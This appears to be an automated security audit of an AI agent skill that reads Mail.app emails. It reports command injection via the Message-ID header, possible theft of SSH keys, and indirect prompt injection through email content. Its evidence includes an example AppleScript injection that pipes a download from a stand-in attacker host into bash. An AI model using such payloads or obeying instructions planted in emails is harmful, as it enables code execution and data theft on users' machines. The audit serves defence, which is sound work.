Fail
Audited by Gen Agent Trust Hub on May 2, 2026
Risk Level: HIGHCOMMAND_EXECUTIONDATA_EXFILTRATIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The scripts
extract-urls.shandextract-attachment.share vulnerable to command injection via malicious email headers. - Evidence: In both shell scripts, the
$MESSAGE_IDvariable (extracted from incoming emails) is interpolated directly into anosascript -ecommand string without sanitization:osascript -e "... set targetId to \"$MESSAGE_ID\" ...". - Impact: An attacker can send an email with a specifically crafted
Message-IDheader containing AppleScript injection (e.g.,dummy" & (do shell script "curl http://attacker.com/payload | bash") & "). When the skill processes this email to extract URLs or attachments, the injected command will execute with the user's privileges. - [DATA_EXFILTRATION]: The command injection vulnerability identified above provides a direct path for the silent exfiltration of sensitive local data.
- Evidence: An attacker-controlled
Message-IDcan trigger shell commands to read and transmit private files, such as~/.ssh/id_rsaor the contents of theMail.appdatabase, to a remote server. - [PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection (Category 8).
- Ingestion points: Untrusted email content (subject, from, body, and extracted URLs) is fetched via
fetch-mail.applescriptandextract-urls.sh. - Boundary markers: The instructions lack explicit boundary markers or instructions for the agent to ignore commands embedded within the email text.
- Capability inventory: The skill has access to shell execution (
osascript,bash), file system modification (Writetool), and system automation (Mail, Reminders). - Sanitization: There is no evidence of sanitization or filtering of the email content before it is processed by the LLM for action classification and reminder creation.
- Impact: Malicious instructions embedded in a processed email could trick the agent into creating misleading reminders, exfiltrating information via tool calls, or ignoring its safety constraints.
Recommendations
- AI detected serious security threats
Audit Metadata